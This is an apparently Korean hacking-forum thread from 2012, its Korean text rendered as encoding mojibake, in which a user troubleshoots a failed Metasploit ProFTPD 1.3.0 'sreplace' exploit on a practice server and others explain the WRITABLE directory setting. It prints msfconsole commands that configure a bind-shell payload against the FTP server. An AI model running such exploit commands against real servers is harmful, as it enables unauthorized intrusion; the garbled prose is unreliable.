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   xhosa123
   ftp ¼­¹ö °ø°Ý ½Ç½À Áß,,,

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=29802 [º¹»ç]


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ftp¼­¹ö ¸¸µé·Á°í À̰ÍÀú°Í ã´øµµÁß proftpd°¡ ´«¿¡ µé¾î¿Í¼­ ¼³Ä¡ÇÏ°í ¼³Á¤Çϰí À̰ÍÀú°ÍÇϰíÀִµ¥
proftpd exploitÀÌ ÀÖ´õ¶ó°í¿ä. ~.~
ÇѹøÇغ¼±îÇÏ°í ¹Ù·Î À©µµ¿ì¿ë metasploitŰ°í »ç¿ëÇØºÃ´Âµ¥


msf  exploit(proftp_sreplace) > exploit

[*] Started reverse handler on
[*] Trying target ProFTPD 1.3.0 (source install) / Debian 3.1...
[*] FTP Banner: 220 ProFTPD 1.3.0 Server (ProFTPD Default Installation)
[-] Exploit failed: Unable to get current working directory
.........

Ȥ½Ã ÀÌ°Ç ¾î¶²¿À·ùÀΰ¡¿ä?¤Ì

Á¤È®ÇÑ ¹öÀüÀº

proftpd 1.3.0 ÀÔ´Ï´Ù.

  Hit : 7344     Date : 2012/12/01 10:30



    
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¸Û¸Û ÇØ´ç ¿¡·¯¸¦ Ãâ·ÂÇϱâ Àü¿¡ ¾î¶² ftp command¸¦ ½ÇÇàÇÏ·Á°í ½ÃµµÇß´ÂÁö È®ÀÎÇØ º¸¼¼¿è 2012/12/01  
xhosa123 ¤¤¸Û¸Û


msf exploit(proftp_sreplace) > use exploit/linux/ftp/proftp_sreplace
msf exploit(proftp_sreplace) > set TARGET 2
TARGET => 2
msf exploit(proftp_sreplace) > set PAYLOAD linux/x86/shell_bind_tcp
PAYLOAD => linux/x86/shell_bind_tcp
msf exploit(proftp_sreplace) > set RHOST
RHOST =>
msf exploit(proftp_sreplace) > set WRITABLE /root
WRITABLE => /root
msf exploit(proftp_sreplace) > exploit

ÀÌ·¸°Ô ¸í·É¾î¸¦ Áá´Âµ¥
ÁÁÁö¾ÊÀº ¿µ¾î½Ç·ÂÀ¸·Î ÇØ¼®Çغ¸´Ï
»ç¿ëÁßÀÎ ftp°æ·Î°¡ ¾ø´Ù°í ³ª¿À³×¿ä..
°æ·Î¸¦ ¸¸µé¾îÁÖ°í ´Ù½Ã ½ÃµµÇغÁ¾ß°Ú¾î¿ä.
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2012/12/01  
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Áï, exploit/linux/ftp/proftp_sreplace ¼Ò½ºÆÄÀÏ ³»¿¡ ¸í½ÃµÈ ºÎºÐÀ» ¸»ÇÑ °ÍÀÔ´Ï´ç
±×¸®°í WRITABLEÀº ftp °ø°Ý¿¡¼­ ÈçÈ÷ ¿ä±¸µÇ´Â "¾²±â ±ÇÇÑÀÌ ÀÖ´Â µð·ºÅ丮"¸¦ ¸»ÇÏ´Â °Í °°³×¿ä
/root¶ó°í ÇÏ¸é ¾²±â ±ÇÇÑ¿¡ ÃæÁ·µÇÁö ¾ÊÀ» °Í °°½À´Ï´Ù.
http://www.exploit-db.com/exploits/16852/
¼Ò½º¸¦ Àá½Ã º¸´Ï "CWD /root"¶ó´Â ¸í·ÉÀ» ½ÇÇàÇÏ°Ô µÇ´Âµ¥, /root¶ó´Â µð·ºÅ丮°¡ ¾øÀ¸¹Ç·Î
Unable to get current working directory ¿¡·¯°¡ ³ª´Â °Í °°³×¿ä
ÃÖ±Ù ftp ¼­¹öµéÀº chroot°¡ Àû¿ëµÇ±â ¶§¹®¿¡ »óÀ§°æ·ÎÀÎ /root°¡ ¾ø´Ù°í ³ª¿À´Â °ÍÀÏ °Ì´Ï´Ù
2012/12/01  
xhosa123 ±×·³ ¾²±â°¡´ÉÇѰæ·Î¸¦ Àû¾îÁà¾ßÇϳª¿ä? 2012/12/01  
xhosa123 ¿¹¸¦µé¾î¼­¾î¶²°æ·Î¸¦Àû¾îÁà¾ßÇϳª¿ä? 2012/12/01  
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